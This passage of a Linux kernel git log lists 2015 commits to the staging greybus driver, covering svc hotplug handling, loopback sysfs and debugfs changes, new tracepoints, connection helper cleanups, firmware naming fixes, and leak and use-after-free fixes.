Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 +++ drivers/staging/greybus/svc.c | 40 +++++++++++++++++++++++++++++ 2 files changed, 44 insertions(+) commit bbaca7115167088e8177ab8cc7aafdcb8666dea9 Author: Viresh Kumar Date: Wed Sep 23 16:48:08 2015 -0700 greybus: svc: Allow consecutive hotplug events for the same module There are two cases where the AP may receive hotplug event for an existing interface, without first getting a hot-unplug request for it. - bootrom loading the firmware image and booting into that, which only generates a hotplug event. i.e. no hot-unplug event, as the module never went away. - Or the firmware on the module crashed and sent hotplug request again to the SVC, which got propagated to AP. Handle such cases by first removing the interface, with a clear print message shown to the user. And then following the normal hotplug sequence to add the interface. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 52 ++++++++++++++++++++++++++++++++++--------- 1 file changed, 41 insertions(+), 11 deletions(-) commit c06307c3b476a40dfc853af34af76b591115e42c Author: Viresh Kumar Date: Wed Sep 23 16:48:07 2015 -0700 greybus: svc: Use 'dev' instead '&op->connection->dev' We already have a variable to access '&op->connection->dev' directly, lets reuse it. Signed-off-by: Viresh Kumar Reviewed-by: Jean Pihet Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c83d4abe1dfd6aec45f594ad756fb5256263c5b8 Author: Bryan O'Donoghue Date: Wed Sep 23 09:31:34 2015 -0700 greybus: loopback: remove module specific identifier from debugfs name The datapoint we are using to return metrics across modules and cports shouldn't have a module identifier in it i.e. /sys/kernel/debug/gb_loopback/raw_latency_endo0 not /sys/kernel/debug/gb_loopback/raw_latency_endo0:X This patch removes the module_id used up to this point. Including module_id actually ends up making life harder in user-space so dropping it. Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 8d8d36da750ccba4c9ba9a293b3a338afd0b75b0 Author: Bryan O'Donoghue Date: Wed Sep 23 09:31:33 2015 -0700 greybus: loopback: drop redundant endo0 string from debugfs entry name dev_name() will return the endo0 component of the string on it's own, there's no need to include it in the snprintf() when construting the debugfs name. This fixes 'endo0' appearing more than once in the debugfs name - shamefully slipped through testing cb570c93783f ('greybus/loopback: use dev_name to populate sysfsname'). Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 42d7f7e884fcce78301ca88da3434f0fcbf3fee5 Author: Bryan O'Donoghue Date: Wed Sep 23 09:31:32 2015 -0700 greybus: loopback: masked out threads should sleep If a thread is masked out it should not consume CPU cycles during a test. We set an arbitrary 100 millisecond sleep time for each masked out thread. Reasonably blunt instrument to ensure threads with nothing to do don't end up thrashing the acquisition/release of mutexes. Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit f01f7a9851f9c75467373ba7797394dba91825da Author: Bryan O'Donoghue Date: Wed Sep 23 09:31:31 2015 -0700 greybus: loopback: move sysfs entries to /sys/bus/greybus/devices/endo0 Currently we have sysfs entries that are created when the first incoming connection is created as sub-nodes of the module associated with that connection e.g. /sys/bus/grebus/devices/endo0:X where X is the module identifier associated with the new connection. This is conceptually incorrect since the sysfs entries we create actually aren't bound to a module. Depending on the order connections are brought up we can also have a situation where /sys/bus/greybus/devices/endo0:X has high-level control sysfs data-points but /sys/bus/greybus/devices/endo0:Y does not. Rather than needlessly replicate data-points across each endo0:X, endo0:Y, endo0:Z sysfs directories it is more sensible to locate the entries in /sys/bus/greybus/devices/endo0. Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6872c46129d00d0fcc0b32d73498fc86d6823137 Author: Bryan O'Donoghue Date: Tue Sep 22 18:06:39 2015 -0700 greybus: es1, es2: hook tracepoints to hardware send/recv operations This patch hooks tracepoints for the handoff point to/from hardware. With these tracepoints in place we can view the time between gb_message_send and usb_submit_urb and similarly we can view the time between cport_in_callback and gb_message_recv_response/gb_message_recv_request - trace_gb_host_device_send - trace_gb_host_device_recv It provides standard tracepoints at /sys/kernel/debug/tracing/events/greybus/gb_host_device_send /sys/kernel/debug/tracing/events/greybus/gb_host_device_recv Giving outputs like gb_host_device_recv: greybus:2-1 if_id=0000 l=10 gb_host_device_send: greybus:2-1 if_id=0000 l=10 Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 8 ++++++-- drivers/staging/greybus/es2.c | 8 ++++++-- 2 files changed, 12 insertions(+), 4 deletions(-) commit 32b2b16737d40d0aea6e7a02740ce47acd4fdd2e Author: Bryan O'Donoghue Date: Tue Sep 22 18:06:38 2015 -0700 greybus: tracepoints: add tracepoints for host_device tx/rx This patch adds new tracepoint declarations to greybus_trace.h to allow for capture of greybus host device tx and rx events. These two tracepoints allow an observer to see the point where the hardware interface driver performs the relevant read or write to receive or write the data it's been given from the higher layer greybus driver. The following two new tracepoints are declared: - trace_gb_host_device_send - trace_gb_host_device_recv Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 3 ++ drivers/staging/greybus/greybus_trace.h | 50 +++++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+) commit d090446a915f109e65f3b2643269b134e1ddb4ef Author: Bryan O'Donoghue Date: Tue Sep 22 18:06:37 2015 -0700 greybus: loopback: drop dependency on internal timestamps This patch drops tracking of internal latencies, it's possible to derive these times via kernel tracepoints and some user-space scripting. Since there's no other use of the internal timestamp than the loopback driver we remove the connection.c, connection.h, es1.c, es2.c and loopback.c inter-dependency in one go. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 30 ------------------------------ drivers/staging/greybus/connection.h | 4 ---- drivers/staging/greybus/es1.c | 1 - drivers/staging/greybus/es2.c | 1 - drivers/staging/greybus/loopback.c | 27 --------------------------- 5 files changed, 63 deletions(-) commit 608f6619a295ce755061a046e967d8e32c2f4f5b Author: Greg Kroah-Hartman Date: Tue Sep 22 09:42:52 2015 -0700 greybus: es2: comment out unused functions The Qualcomm kernel builds with -Werror so the existing es2.c driver breaks the build due to unused static functions. As we are still hashing out exactly how to implement this logic at the moment, just comment out the functions to make the build be clean, no logic changes happen here at all. Reported-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 3 +++ 1 file changed, 3 insertions(+) commit 5c8ad599b942a9a027045e69fc76c84f23c0acf0 Author: Bryan O'Donoghue Date: Fri Sep 18 16:38:45 2015 +0100 greybus: operation, core: hook tracepoints into message opertions This patch hooks tracepoints for greybus messages - trace_gb_message_send - trace_gb_message_recv_request - trace_gb_message_recv_response - trace_gb_message_cancel_outgoing - trace_gb_message_cancel_incoming It provides standard tracepoints at /sys/kernel/debug/tracing/events/greybus/gb_message_send /sys/kernel/debug/tracing/events/greybus/gb_message_recv_response /sys/kernel/debug/tracing/events/greybus/gb_message_recv_request /sys/kernel/debug/tracing/events/greybus/gb_message_cancel_outgoing /sys/kernel/debug/tracing/events/greybus/gb_message_cancel_incoming Giving outputs like gb_message_recv_request: greybus:1-1.1:0 op=0001 if_id=0000 hd_id=0000 l=2 gb_message_send: greybus:1-1.1:0 op=0001 if_id=0000 hd_id=0000 l=2 Similarly perf events can be viewed with standard perf tools e.g. root@beaglebone:~# perf list 'greybus:*' greybus:gb_message_send [Tracepoint event] greybus:gb_message_recv_request [Tracepoint event] greybus:gb_message_recv_response [Tracepoint event] greybus:gb_message_cancel_outgoing [Tracepoint event] greybus:gb_message_cancel_incoming [Tracepoint event] Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 +++ drivers/staging/greybus/core.c | 3 +++ drivers/staging/greybus/operation.c | 6 ++++++ 3 files changed, 12 insertions(+) commit bb03ed920166a1fa2df77d5ef96ff1d749fa2967 Author: Bryan O'Donoghue Date: Fri Sep 18 16:38:44 2015 +0100 greybus: tracepoints: add tracepoint definitions This patch adds greybus_trace.h with the following trace definitions - trace_gb_message_send - trace_gb_message_recv_request - trace_gb_message_recv_response - trace_gb_message_cancel_incoming - trace_gb_message_cancel_outgoing Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_trace.h | 120 ++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) commit 2e49b15763cc460cabc0713e05c7d24fb892d9ad Author: Viresh Kumar Date: Tue Sep 15 11:04:30 2015 +0530 greybus: Documentation: Update sysfs-bus-greybus The file names here weren't in sync with what we have today and the updates give a better picture of the same. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 117 ++++++++++++++------- 1 file changed, 78 insertions(+), 39 deletions(-) commit 3afe952127e6379b32ba0d845231dbe952d6117b Author: Johan Hovold Date: Thu Sep 17 13:17:27 2015 +0200 greybus: hd: remove connection-create/destroy callbacks These host-driver callbacks were intended to allow host drivers to prepare a cport, something which can now be handled by the cport enable/disable callbacks instead. The current create/destroy are somewhat confusingly named as they were not supposed to create or destroy connections. They were however called from the unrelated helper functions that do create and destroy SVC connections. Furthermore, no errors were returned should the create callback fail, which should have caused the connection initialisation to fail. Remove these unused callbacks for now, and let us use the cport enable/disable callbacks that should be able handle all host cport initialisation (possibly after also adding an interface to provide information for endpoint-cport mapping). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ------ drivers/staging/greybus/greybus.h | 2 -- 2 files changed, 8 deletions(-) commit d7ea30a57145d13a6e74c90e4f7277cb8705bcc1 Author: Johan Hovold Date: Thu Sep 17 13:17:26 2015 +0200 greybus: hd: add optional cport enable and disable callbacks Add optional cport enable and disable callbacks to the greybus host drivers, that can be used to initialise and allocate/release resources associated with a cport during connection setup/teardown (e.g. software queues and hardware state). Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 37 +++++++++++++++++++++++++++++++++++- drivers/staging/greybus/greybus.h | 2 ++ 2 files changed, 38 insertions(+), 1 deletion(-) commit 2846d3ed2e5608bcdb773cf308af7fabbfcb663e Author: Johan Hovold Date: Thu Sep 17 13:17:25 2015 +0200 greybus: connection: add protocol-version helper Add protocol-version to improve readability. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 39 +++++++++++++++++++++++------------- 1 file changed, 25 insertions(+), 14 deletions(-) commit 9d7fc25b3c05a3330002560c19f0dfbfe83ea8a0 Author: Johan Hovold Date: Thu Sep 17 13:17:24 2015 +0200 greybus: connection: add control-connected helper Add control-connected helper to improve readability. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 38 ++++++++++++++++++++++++------------ 1 file changed, 26 insertions(+), 12 deletions(-) commit 72d748226379979e4a2e3e1ebf5379fa57f6f3fe Author: Johan Hovold Date: Thu Sep 17 13:17:23 2015 +0200 greybus: connection: clean up control-disconnected helper Rename helper to the more descriptive gb_connection_control_disconnected(). Use u16 for cport number, remove redundant cport number from warning message, and shorten a long line. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 8d7a712ca86b4da7220b8c3da37f118fed3e0bb2 Author: Johan Hovold Date: Thu Sep 17 13:17:22 2015 +0200 greybus: connection: clean up init error paths Clearly mark error-path labels as such and clean up control flow. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit a95c258c6fe6b4929f52398d1b6cd5432efe2c86 Author: Johan Hovold Date: Thu Sep 17 13:17:21 2015 +0200 greybus: connection: clean up svc-connection creation Move SVC-connection creation to its own helper. Note that the connection_create host-driver callback is really unrelated to the SVC connection, and will be removed by a later patch. It is is included for now as the connection_destroy callback is currently made from the SVC-connection-destroy helper. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 53 +++++++++++++++++++++++------------- 1 file changed, 34 insertions(+), 19 deletions(-) commit ced6007a6d2d48efb32d2ca48a13304a04470659 Author: Fabien Parent Date: Wed Sep 16 03:29:35 2015 +0200 greybus: es{1,2}: remove obselete define The SVC Control request is obsolete and not used anymore. Remove the related define. Signed-off-by: Fabien Parent Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 3 --- drivers/staging/greybus/es2.c | 3 --- 2 files changed, 6 deletions(-) commit 2498050b03399cc0df32863f9a4c2a63b1f30d79 Author: Rui Miguel Silva Date: Tue Sep 15 15:33:51 2015 +0100 greybus: svc: fix endianness for svc message Some fields in svc request were not being set with the correct endianness, which will trigger the following sparse issues as example: greybus/svc.c:116:22: warning: incorrect type in assignment (different base types) greybus/svc.c:116:22: expected unsigned short [unsigned] [assigned] [usertype] attr greybus/svc.c:116:22: got restricted __le16 [usertype] Signed-off-by: Rui Miguel Silva Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 24 ++++++++++++------------ drivers/staging/greybus/svc.c | 8 ++++---- 2 files changed, 16 insertions(+), 16 deletions(-) commit cfb16906860d76b5afe192d32fb79cf9af853b92 Author: Johan Hovold Date: Tue Sep 15 10:48:01 2015 +0200 greybus: greybus_protocols: add missing version-request definition Add the missing version-request definition that was falsely claimed to be empty. Update the generic version-request helper and SVC version-request handler to use the request definition rather than rely on the response happening to have the same layout, something which also improves readability. Remove a misplaced "Control Protocol" header while at it. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 11 ++++++++--- drivers/staging/greybus/protocol.c | 21 +++++++++++---------- drivers/staging/greybus/svc.c | 21 +++++++++++---------- 3 files changed, 30 insertions(+), 23 deletions(-) commit 59832931cbafa9211ec9ff8434b6d914f82f0f18 Author: Johan Hovold Date: Tue Sep 15 10:48:00 2015 +0200 greybus: svc: fix version response The SVC-protocol driver currently accepts the version offered by the SVC, but still responded with a hard-coded version. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c09db1820f7ae71d0b1aad7cd1efafab0a880917 Author: Johan Hovold Date: Tue Sep 15 09:18:08 2015 +0200 greybus: svc: fix ida memory leak The device-id map was never deallocated on SVC-connection tear down. Also make the map per-SVC-connection (there should still be only one) rather than use a global pointer. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit e5acf736caac014de39f618f7725164b75176fea Author: Alexandre Bailon Date: Mon Sep 14 18:20:44 2015 +0200 greybus: es2: add some documentation about endpoints mapping Signed-off-by: Alexandre Bailon Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 64c9cabcac57904b8a6d6ae9e8a90c258762c86b Author: Alexandre Bailon Date: Mon Sep 14 18:20:43 2015 +0200 greybus: es2: change (un)map methods to static Endpoints pair will only be managed by es2 driver. map_cport_to_ep() and unmap_cport() should be static. Signed-off-by: Alexandre Bailon Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1ff3dc920500c2f1cdfaa08c6812f19e05a36da1 Author: Alexandre Bailon Date: Mon Sep 14 18:20:42 2015 +0200 greybus: es2: rename misnamed variables and methods Some methods and variables name were a lot confusing. Replace it or add ep_pair in methods or varaibles name to make sources less confusing. Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit b9154df5cfd2d4cc180f425f0b26e095ce1ffdbc Author: Johan Hovold Date: Mon Sep 14 20:19:04 2015 +0200 greybus: sdio: fix work-queue leak and use-after-free A single global work-queue pointer was used for the per-connection workqueue, something which would lead to memory leaks and all sorts of bad things if there are ever more than one SDIO connection in a system. Also add the missing error handling when allocating the queue. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) commit e5265266ec6360702feb6ff69d1aec9e318ae1f6 Author: Johan Hovold Date: Mon Sep 14 20:19:03 2015 +0200 greybus: sdio: fix tear-down use-after-free The mmc-driver private data must not be accessed after mmc_free_host() has released it. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d7849bffc622b3405ef226364d67bb81af48c152 Author: Johan Hovold Date: Mon Sep 14 20:19:02 2015 +0200 greybus: vibrator: fix tear-down race Do not release the minor number until after the device has been deregistered. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/vibrator.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4c9e228407a25a99876b979479ff76208ab7de47 Author: Viresh Kumar Date: Wed Sep 9 21:08:33 2015 +0530 greybus: firmware: Send AP-ready operation Module's Bootrom needs a way to know (currently), when to start sending requests to the AP. The version request is sent before connection_init() routine is called, and if the module sends the request right after receiving version request, the connection->private field will be NULL. Fix this TEMPORARILY by sending an AP_READY request. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 15 +++++++++++++++ drivers/staging/greybus/greybus_protocols.h | 1 + 2 files changed, 16 insertions(+) commit 1a8862863a7171e8b97fe8833bb3a78770a8aaee Author: Viresh Kumar Date: Wed Sep 9 21:08:32 2015 +0530 greybus: firmware: firmware image name has .tftf instead of .fw That's how the bootrom-tool names it, and that's how the kernel should expect it. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c9733b78ca4734a10e1c9b7a23b44fc1736d9daa Author: Viresh Kumar Date: Wed Sep 9 21:08:31 2015 +0530 greybus: firmware: Fix incorrect firmware file's name All the id-fields are 32 bit long instead of 16 bits and so we will need 8 characters per field instead of four. Also the stage field is only one byte long and so needs just two characters to represent it. Reported-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8bcc2d80dd6aaed009bd0212cf844ef39131547a Author: Viresh Kumar Date: Wed Sep 9 21:08:30 2015 +0530 greybus: firmware: firmware's file name is 32 characters long 28 is the wrong value and should be 32 instead. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 19151c3dd4cfcced6f173a9b1e5aba07d7d1d9b9 Author: Viresh Kumar Date: Wed Sep 9 21:08:29 2015 +0530 greybus: svc: Implement DME peer get/set attributes helpers These are required to get/set DME attributes of the modules. This is implemented based on the greybus specifications. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 24 ++++++++++ drivers/staging/greybus/svc.c | 72 +++++++++++++++++++++++++++++ drivers/staging/greybus/svc.h | 4 ++ 3 files changed, 100 insertions(+) commit 26717ed328b5d238b5c6268912d45703b99b79d0 Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:55 2015 +0100 greybus: loopback: use dev_name to populate sysfsname dev_name() will give a nice string representing the end0:X:Y:Z:W name mitigating the need to pick apart the various nested data structures and print out their various identifiers. Signed-off-by: Bryan O'Donoghue Suggested-by: Viresh Kumar Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit fbb8edbafe1525c4168108a46c1134f5a7cd27c4 Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:47 2015 +0100 greybus: loopback: add gb_loopback_operation_sync In order to extract timestamps from gb_message instead of gb_connection we will need access to the gb_operation structure. A first step to that is to create our own gb_loopback_operation_sync which will call gb_operation_request_send_sync() directly. Once loopback is using this function internally it will be possible to convert to gb_message based timestamps and drop gb_connection based timestamps in two seperate patches. Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 98 ++++++++++++++++++++------------------ 1 file changed, 52 insertions(+), 46 deletions(-) commit 5015115def3ed9907fb018180be969cf2f2f116d Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:46 2015 +0100 greybus: loopback: sort list of connections for masking purposes In user-space we specify a list of connections as a bit-mask with the assumption that a list such is indexed as indicated below. end0:3:3:1:1 = 1 end0:3:3:2:3 = 2 end0:3:3:3:4 = 4 Current code assigns bitmask ids based on the order of discovery, however user-space has no idea what the order of discovery is. This patch sorts the linked list of connections associated with the loopback driver and assigns a bit-id based on the sorted list - not the order of discovery. This change therefore enforces the end-users idea that end0:3:3:1:1 above is always denoted by bit 1 - even if from the AP's perspective it was the last entry discovered. Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 48 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 46 insertions(+), 2 deletions(-) commit 4a655ad4c2b83815ccab5057e29bf0f6c981a94e Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:45 2015 +0100 greybus: loopback: add response len to loopback protocol This patch adds a len field to the loopback protocol. This field is validated in gb_loopback_transfer() and stuffed in gb_loopback_request_recv(). Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/loopback.c | 1 + 2 files changed, 2 insertions(+) commit f2cfa7043940cdda5c9e945b1cf5c66da172bc33 Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:44 2015 +0100 greybus: loopback: convert pr_info to dev_err This patch fixes and invalid use of pr_info() in favour of dev_err(); Signed-off-by: Bryan O'Donoghue Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 909cdeb5d81926bb294394919ba84bf9b98d5744 Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:43 2015 +0100 greybus: loopback: ensure sysfs entries are cleaned up on exit bdd4bba4 ('greybus/loopback: add module level sys/debug fs data points') added a sysfs entry attached to gb_dev but missed the jump to out_sysfs_dev This patchs fixes the missing jump to out_sysfs_dev. Signed-off-by: Bryan O'Donoghue Reported-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c7ea5ed6f2790240a8ddaf98905a9465a37e839e Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:42 2015 +0100 greybus: loopback: ensure debugfs entires are cleaned up on exit bdd4bba4 ('greybus/loopback: add module level sys/debug fs data points') added a debugfs entry attached to gb_dev but omitted the cleanup on gb_init error and gb_exit. This patchs fixes the missing debugfs_remove(). Signed-off-by: Bryan O'Donoghue Reported-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit 5f3e0d17a3938ee253b6e6b7d16033121645b3a4 Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:41 2015 +0100 greybus: loopback: exit kfree after mutex release init doesn't have a lock for kzalloc so exit shouldn't have lock with the corresponding kfree. Signed-off-by: Bryan O'Donoghue Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 29f020290d8897e3ed6ed8a8f8938c0b8545bbcd Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:40 2015 +0100 greybus: loopback: hold a coarse lock while init/exit run This patch holds gb_dev.mutex for the duration of init and exit to reduce complexity while ensuring that init and exit run atomically with respect to slave threads @ gb_loopback_fn(). Signed-off-by: Bryan O'Donoghue Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit 6de00a5f32e09b58879175f2942ebeac699d3534 Author: Bryan O'Donoghue Date: Mon Sep 14 10:48:39 2015 +0100 greybus: loopback: ensure count decrement happens before sysfs_remove_groups This patches fixes a case where gb_dev.count is decremented too late in the exit() routine. Signed-off-by: Bryan O'Donoghue Reported-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 8552ca0f3634bf6aaf8f752fb9a73652326117eb Author: Viresh Kumar Date: Mon Sep 7 17:56:58 2015 +0530 greybus: connection: Add sysfs 'ap_cport_id' file for connections Its a very useful piece of information, i.e. the cport id of the AP to which the cport of the module is connected, and is required lots of times. It isn't known in advance as it is allocated at runtime. This patch creates another file 'ap_cport_id', only for the connection directories, which will give the cport id of the AP. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 8 ++++++++ drivers/staging/greybus/connection.c | 9 +++++++++ 2 files changed, 17 insertions(+) commit 0a020570ed2f7817998870a9451526ffe492c44a Author: Viresh Kumar Date: Mon Sep 7 18:05:26 2015 +0530 greybus: svc: destroy the route on module hot-unplug We created two-way routes between the AP and module's interface on hotplug, and forgot to remove them on hot-unplug. The same is also required while handling errors in hotplug case. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 7 +++++++ drivers/staging/greybus/svc.c | 31 +++++++++++++++++++++++++++-- 2 files changed, 36 insertions(+), 2 deletions(-) commit bb10685246b4a4885e569306eca0bb64ded1b4f0 Author: Viresh Kumar Date: Mon Sep 7 16:01:25 2015 +0530 greybus: svc: No need of per-direction route-create requests The route-create request creates bi-directional routes and there is no need to make separate calls for setting up routes on both the directions. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit 5a5296bb8d67e90866d352b93ecce95d08b77fc0 Author: Viresh Kumar Date: Mon Sep 7 16:01:24 2015 +0530 greybus: Add flags to struct gb_protocol This helps in removing special per-protocol code, with the help of generic flags passed by protocol drivers. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 28 ++++++++++------------------ drivers/staging/greybus/control.c | 2 ++ drivers/staging/greybus/protocol.h | 8 ++++++++ drivers/staging/greybus/svc.c | 5 +++++ 4 files changed, 25 insertions(+), 18 deletions(-) commit fb198317fd89ec02582ffd4ca318ec088d06c74e Author: Viresh Kumar Date: Mon Sep 7 16:01:23 2015 +0530 greybus: connection: Call connection_destroy() from gb_connection_svc_connection_destroy() connection_create() is called right after svc is requested to create the connection and so connection_destroy() must be called just before we request the SVC to destroy the connection. Over that, this fixes the inconsistency where connection_create() is called for all connections except SVC connection, but connection_destroy() is called always. Acked-by: Alexandre Bailon Fixes: 5313ca607afb ("Greybus driver: add a new callbacks to driver") Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 1b7a9cd5a54536af5a97738097780369779c62d9 Author: Viresh Kumar Date: Mon Sep 7 16:01:22 2015 +0530 greybus: connection: destroy svc connection on connection exit or errors While initializing a connection, the AP requests the SVC to create a connection between a cport on AP and a cport on the Module. The opposite of that is missing, when connection is destroyed or if errors occur after creating the connection. Fix it. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) commit a1163fae63079f01c24d9c062b1e22e5ada89f91 Author: Viresh Kumar Date: Mon Sep 7 16:01:21 2015 +0530 greybus: connection: call gb_svc_connection_create() from gb_connection_init() There are two operations which very much work together: - AP asks the SVC to create a connection between a cport of AP and a cport of module. - AP tells the module that the connection is created. Its better (logically) to do these two 